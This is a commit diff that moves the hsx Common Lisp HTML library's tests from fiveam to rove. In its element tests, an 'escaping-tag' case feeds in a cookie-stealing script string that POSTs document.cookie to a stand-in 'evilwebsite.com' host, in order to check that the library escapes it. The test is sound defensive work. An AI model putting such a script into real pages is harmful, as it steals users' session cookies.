Migrate testing framework from fiveam to rove (#18)
* Migrate testing framework from fiveam to rove * Fix qlfile
This commit is contained in:
GitHub
parent
5945e52207
commit
a071924927
8 changed files with 185 additions and 231 deletions
16
hsx-test.asd
16
hsx-test.asd
|
|
@ -1,13 +1,9 @@
|
|||
(defsystem "hsx-test"
|
||||
:defsystem-depends-on ("fiveam-asdf")
|
||||
:class :package-inferred-fiveam-tester-system
|
||||
:class :package-inferred-system
|
||||
:pathname "tests"
|
||||
:depends-on ("hsx-test/element"
|
||||
"hsx-test/hsx"
|
||||
:depends-on ("rove"
|
||||
"hsx-test/element"
|
||||
"hsx-test/escaper"
|
||||
"hsx-test/group")
|
||||
:test-names ((#:element-test . #:hsx-test/element)
|
||||
(#:hsx-test . #:hsx-test/hsx)
|
||||
(#:escaper-test . #:hsx-test/escaper)
|
||||
(#:group-test . #:hsx-test/group))
|
||||
:num-checks 44)
|
||||
"hsx-test/group"
|
||||
"hsx-test/hsx")
|
||||
:perform (test-op (o c) (symbol-call :rove :run c :style :dot)))
|
||||
|
|
|
|||
3
qlfile
3
qlfile
|
|
@ -1,3 +1,4 @@
|
|||
ql fiveam-asdf
|
||||
ql alexandria
|
||||
ql mstrings
|
||||
github rove fukamachi/rove
|
||||
github dissect Shinmera/dissect ; workaround
|
||||
|
|
|
|||
12
qlfile.lock
12
qlfile.lock
|
|
@ -2,10 +2,6 @@
|
|||
(:class qlot/source/dist:source-dist
|
||||
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
|
||||
:version "2023-10-21"))
|
||||
("fiveam-asdf" .
|
||||
(:class qlot/source/ql:source-ql
|
||||
:initargs (:%version :latest)
|
||||
:version "ql-2023-10-21"))
|
||||
("alexandria" .
|
||||
(:class qlot/source/ql:source-ql
|
||||
:initargs (:%version :latest)
|
||||
|
|
@ -14,3 +10,11 @@
|
|||
(:class qlot/source/ql:source-ql
|
||||
:initargs (:%version :latest)
|
||||
:version "ql-2023-10-21"))
|
||||
("rove" .
|
||||
(:class qlot/source/github:source-github
|
||||
:initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil)
|
||||
:version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
|
||||
("dissect" .
|
||||
(:class qlot/source/github:source-github
|
||||
:initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil)
|
||||
:version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
|
||||
|
|
|
|||
|
|
@ -49,7 +49,7 @@
|
|||
;;;; factory
|
||||
|
||||
(defun create-element (type props children)
|
||||
(make-instance
|
||||
(make-instance
|
||||
(cond ((functionp type) 'component)
|
||||
((eq type :<>) 'fragment)
|
||||
((eq type :html) 'html-tag)
|
||||
|
|
|
|||
|
|
@ -1,145 +1,143 @@
|
|||
(defpackage #:hsx-test/element
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/element)
|
||||
(:import-from #:named-readtables
|
||||
#:in-readtable)
|
||||
(:import-from #:mstrings
|
||||
#:mstring-syntax))
|
||||
(in-package #:hsx-test/element)
|
||||
|
||||
(in-readtable mstring-syntax)
|
||||
|
||||
(def-suite element-test)
|
||||
(in-suite element-test)
|
||||
(deftest tag-test
|
||||
(testing "element-class"
|
||||
(ok (typep (create-element :div nil nil) 'tag))
|
||||
(ok (typep (create-element :html nil nil) 'html-tag))
|
||||
(ok (typep (create-element :img nil nil) 'self-closing-tag))
|
||||
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
|
||||
(ok (typep (create-element :<> nil nil) 'fragment))
|
||||
(ok (typep (create-element (lambda ()) nil nil) 'component))
|
||||
(ok (signals (create-element "div" nil nil))))
|
||||
|
||||
(test element-class
|
||||
(is (typep (create-element :div nil nil) 'tag))
|
||||
(is (typep (create-element :html nil nil) 'html-tag))
|
||||
(is (typep (create-element :img nil nil) 'self-closing-tag))
|
||||
(is (typep (create-element :style nil nil) 'non-escaping-tag))
|
||||
(is (typep (create-element :<> nil nil) 'fragment))
|
||||
(is (typep (create-element (lambda ()) nil nil) 'component))
|
||||
(signals error (create-element "div" nil nil)))
|
||||
|
||||
(test flatten-children
|
||||
(let* ((elm (create-element :p
|
||||
nil
|
||||
(list "a"
|
||||
nil
|
||||
(list "b" (list nil "c"))
|
||||
(cons "d" "e")))))
|
||||
(is (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
||||
|
||||
(test empty-element
|
||||
(is (string= "<div></div>"
|
||||
(render-to-string (create-element :div nil nil)))))
|
||||
|
||||
(test element-with-props
|
||||
(is (string= "<div prop1=\"value1\" prop2></div>"
|
||||
(render-to-string (create-element :div
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
nil)))))
|
||||
|
||||
(test element-with-children
|
||||
(is (string= "<p>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(is (string= #M"<p>
|
||||
(testing "flatten-children"
|
||||
(let* ((elm (create-element :p
|
||||
nil
|
||||
(list "a"
|
||||
nil
|
||||
(list "b" (list nil "c"))
|
||||
(cons "d" "e")))))
|
||||
(ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
||||
|
||||
(testing "empty-element"
|
||||
(ok (string= "<div></div>"
|
||||
(render-to-string (create-element :div nil nil)))))
|
||||
|
||||
(testing "element-with-props"
|
||||
(ok (string= "<div prop1=\"value1\" prop2></div>"
|
||||
(render-to-string (create-element :div
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
nil)))))
|
||||
|
||||
(testing "element-with-children"
|
||||
(ok (string= "<p>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(ok (string= #M"<p>
|
||||
\ <span>foo</span>
|
||||
</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list (create-element :span
|
||||
nil
|
||||
(list "foo"))))
|
||||
:pretty t)))
|
||||
(is (string= #M"<p>
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list (create-element :span
|
||||
nil
|
||||
(list "foo"))))
|
||||
:pretty t)))
|
||||
(ok (string= #M"<p>
|
||||
\ foo
|
||||
\ <span>bar</span>
|
||||
</p>"
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
(list "bar"))))
|
||||
:pretty t))))
|
||||
(render-to-string (create-element :p
|
||||
nil
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
(list "bar"))))
|
||||
:pretty t))))
|
||||
|
||||
(test element-with-props-and-children
|
||||
(is (string= "<p prop1=\"value1\" prop2>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(is (string= #M"<p prop1=\"value1\" prop2>
|
||||
(testing "element-with-props-and-children"
|
||||
(ok (string= "<p prop1=\"value1\" prop2>foo</p>"
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"))
|
||||
:pretty t)))
|
||||
(ok (string= #M"<p prop1=\"value1\" prop2>
|
||||
\ foo
|
||||
\ <span>bar</span>
|
||||
</p>"
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
"bar")))
|
||||
:pretty t))))
|
||||
|
||||
(test self-closing-tag
|
||||
(is (string= "<img src=\"/background.png\">"
|
||||
(render-to-string (create-element :img
|
||||
(list :src "/background.png")
|
||||
nil)
|
||||
:pretty t))))
|
||||
|
||||
(test escaping-tag
|
||||
(is (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(create-element :div
|
||||
nil
|
||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
||||
|
||||
(test non-escaping-tag
|
||||
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
(render-to-string
|
||||
(create-element :script
|
||||
nil
|
||||
"alert('<< Do not embed user-generated contents here! >>')")))))
|
||||
|
||||
(test fragment
|
||||
(let ((frg (create-element :<>
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "bar"))
|
||||
(create-element :li
|
||||
nil
|
||||
(list "baz"))))))
|
||||
(is (string= #M"<li>bar</li>
|
||||
(render-to-string (create-element :p
|
||||
(list :prop1 "value1"
|
||||
:prop2 t
|
||||
:prop3 nil)
|
||||
(list "foo"
|
||||
(create-element :span
|
||||
nil
|
||||
"bar")))
|
||||
:pretty t))))
|
||||
(testing "self-closing-tag"
|
||||
(ok (string= "<img src=\"/background.png\">"
|
||||
(render-to-string (create-element :img
|
||||
(list :src "/background.png")
|
||||
nil)
|
||||
:pretty t))))
|
||||
|
||||
(testing "escaping-tag"
|
||||
(ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(create-element :div
|
||||
nil
|
||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
||||
|
||||
(testing "non-escaping-tag"
|
||||
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
(render-to-string
|
||||
(create-element :script
|
||||
nil
|
||||
"alert('<< Do not embed user-generated contents here! >>')")))))
|
||||
|
||||
(testing "fragment"
|
||||
(let ((frg (create-element :<>
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "bar"))
|
||||
(create-element :li
|
||||
nil
|
||||
(list "baz"))))))
|
||||
(ok (string= #M"<li>bar</li>
|
||||
<li>baz</li>"
|
||||
(render-to-string frg :pretty t)))
|
||||
(is (string= #M"<ul>
|
||||
(render-to-string frg :pretty t)))
|
||||
(ok (string= #M"<ul>
|
||||
\ <li>foo</li>
|
||||
\ <li>bar</li>
|
||||
\ <li>baz</li>
|
||||
\ <li>brah</li>
|
||||
</ul>"
|
||||
(render-to-string (create-element :ul
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "foo"))
|
||||
frg
|
||||
(create-element :li
|
||||
nil
|
||||
(list "brah"))))
|
||||
:pretty t)))))
|
||||
(render-to-string (create-element :ul
|
||||
nil
|
||||
(list (create-element :li
|
||||
nil
|
||||
(list "foo"))
|
||||
frg
|
||||
(create-element :li
|
||||
nil
|
||||
(list "brah"))))
|
||||
:pretty t))))))
|
||||
|
||||
(defun comp1 (&key prop children)
|
||||
(create-element :div
|
||||
|
|
@ -147,26 +145,12 @@
|
|||
(list prop
|
||||
children)))
|
||||
|
||||
(test component-accepting-keyword-args
|
||||
(let ((elm (expand-component (create-element #'comp1
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(is (eq :div (element-type elm)))
|
||||
(is (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(defun comp2 (&rest props)
|
||||
(create-element :div
|
||||
nil
|
||||
(list (getf props :prop)
|
||||
(getf props :children))))
|
||||
|
||||
(test component-accepting-property-list
|
||||
(let ((elm (expand-component (create-element #'comp2
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(is (eq :div (element-type elm)))
|
||||
(is (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(defun comp3 (&rest props &key prop children &allow-other-keys)
|
||||
(create-element :div
|
||||
nil
|
||||
|
|
@ -174,9 +158,24 @@
|
|||
children
|
||||
(getf props :other-key))))
|
||||
|
||||
(test component-accepting-keyword-args-and-property-list
|
||||
(let ((elm (expand-component (create-element #'comp3
|
||||
'(:prop "value" :other-key "other")
|
||||
(list "child")))))
|
||||
(is (eq :div (element-type elm)))
|
||||
(is (equal (list "value" "child" "other") (element-children elm)))))
|
||||
(deftest component-test
|
||||
(testing "component-accepting-keyword-args"
|
||||
(let ((elm (expand-component (create-element #'comp1
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(ok (eq :div (element-type elm)))
|
||||
(ok (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(testing "component-accepting-property-list"
|
||||
(let ((elm (expand-component (create-element #'comp2
|
||||
'(:prop "value")
|
||||
(list "child")))))
|
||||
(ok (eq :div (element-type elm)))
|
||||
(ok (equal (list "value" "child") (element-children elm)))))
|
||||
|
||||
(testing "component-accepting-keyword-args-and-property-list"
|
||||
(let ((elm (expand-component (create-element #'comp3
|
||||
'(:prop "value" :other-key "other")
|
||||
(list "child")))))
|
||||
(ok (eq :div (element-type elm)))
|
||||
(ok (equal (list "value" "child" "other") (element-children elm))))))
|
||||
|
|
|
|||
|
|
@ -1,16 +1,14 @@
|
|||
(defpackage #:hsx-test/escaper
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/escaper))
|
||||
(in-package #:hsx-test/escaper)
|
||||
|
||||
(def-suite escaper-test)
|
||||
(in-suite escaper-test)
|
||||
|
||||
(test escape-html-attribute
|
||||
(is (equal ""foo""
|
||||
(escape-html-attribute "\"foo\""))))
|
||||
|
||||
(test escape-html-text-content
|
||||
(is (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`="))))
|
||||
(deftest escaper-test
|
||||
(testing "escape-html-attribute"
|
||||
(ok (string= ""foo""
|
||||
(escape-html-attribute "\"foo\""))))
|
||||
|
||||
(testing "escape-html-text-content"
|
||||
(ok (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`=")))))
|
||||
|
|
|
|||
|
|
@ -1,16 +1,14 @@
|
|||
(defpackage #:hsx-test/group
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/group))
|
||||
(in-package #:hsx-test/group)
|
||||
|
||||
(def-suite group-test)
|
||||
(in-suite group-test)
|
||||
|
||||
(defgroup fruit
|
||||
apple banana orange)
|
||||
|
||||
(test defgroup
|
||||
(is (hash-table-p *fruit*))
|
||||
(is (fruit-p :apple))
|
||||
(is (not (fruit-p :tomato))))
|
||||
(deftest group-test
|
||||
(testing "defgroup"
|
||||
(ok (hash-table-p *fruit*))
|
||||
(ok (fruit-p :apple))
|
||||
(ng (fruit-p :tomato))))
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
(defpackage #:hsx-test/hsx
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:rove
|
||||
#:hsx/hsx
|
||||
#:hsx/builtin)
|
||||
(:import-from #:hsx/element
|
||||
|
|
@ -8,62 +8,20 @@
|
|||
#:element-children))
|
||||
(in-package #:hsx-test/hsx)
|
||||
|
||||
(def-suite hsx-test)
|
||||
(in-suite hsx-test)
|
||||
|
||||
(test find-symbols
|
||||
(is (equal '(hsx/builtin:div '(:div "div")
|
||||
div
|
||||
(hsx/builtin:div
|
||||
'div
|
||||
(hsx/builtin:div)
|
||||
:div)
|
||||
"div")
|
||||
(macroexpand-1
|
||||
'(hsx (div '(:div "div")
|
||||
div
|
||||
(div
|
||||
'div
|
||||
(div)
|
||||
:div)
|
||||
"div"))))))
|
||||
|
||||
(test empty-hsx
|
||||
(let ((elm (div)))
|
||||
(is (null (element-props elm)))
|
||||
(is (null (element-children elm)))))
|
||||
|
||||
(test hsx-with-static-props
|
||||
(let ((elm (div :prop1 "value1" :prop2 "value2")))
|
||||
(is (equal '(:prop1 "value1" :prop2 "value2")
|
||||
(element-props elm)))
|
||||
(is (null (element-children elm)))))
|
||||
|
||||
(test hsx-with-dynamic-props
|
||||
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
||||
(elm (div props)))
|
||||
(is (equal props (element-props elm)))
|
||||
(is (null (element-children elm)))))
|
||||
|
||||
(test hsx-with-children
|
||||
(let ((elm (div
|
||||
"child1"
|
||||
"child2")))
|
||||
(is (null (element-props elm)))
|
||||
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||
|
||||
(test hsx-with-static-props-and-children
|
||||
(let ((elm (div :prop1 "value1" :prop2 "value2"
|
||||
"child1"
|
||||
"child2")))
|
||||
(is (equal '(:prop1 "value1" :prop2 "value2")
|
||||
(element-props elm)))
|
||||
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||
|
||||
(test hsx-with-dynamic-props-and-children
|
||||
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
||||
(elm (div props
|
||||
"child1"
|
||||
"child2")))
|
||||
(is (equal props (element-props elm)))
|
||||
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||
(deftest hsx-test
|
||||
(testing "find-symbols"
|
||||
(ok (expands
|
||||
'(hsx (div '(:div "div")
|
||||
div
|
||||
(div
|
||||
'div
|
||||
(div)
|
||||
:div)
|
||||
"div"))
|
||||
'(hsx/builtin:div '(:div "div")
|
||||
div
|
||||
(hsx/builtin:div
|
||||
'div
|
||||
(hsx/builtin:div)
|
||||
:div)
|
||||
"div")))))
|
||||
|
|
|
|||
Loading…
Reference in a new issue